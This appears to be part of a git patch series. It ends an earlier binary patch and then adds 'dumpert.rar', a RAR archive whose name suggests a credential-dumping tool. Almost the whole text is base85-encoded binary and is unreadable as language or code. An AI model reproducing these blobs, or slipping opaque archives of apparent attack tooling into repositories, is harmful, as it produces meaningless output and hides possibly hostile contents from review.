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 Z;giimG6xMZ(+=xdNXmKt^e*wnH^ literal 0 HcmV?d00001 From 47bf749da7279a04a7cd8a28e38d5f39acaf13d9 Mon Sep 17 00:00:00 2001 From: Kuni <63074533+PorLaCola25@users.noreply.github.com> Date: Fri, 2 Oct 2020 15:21:54 -0300 Subject: [PATCH 2/5] dumpert --- dumpert.rar | Bin 0 -> 61716 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 dumpert.rar diff --git a/dumpert.rar b/dumpert.rar new file mode 100644 index 0000000000000000000000000000000000000000..4900ba4e3947f2b3967671c42f63b45473298408 GIT binary patch literal 61716 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 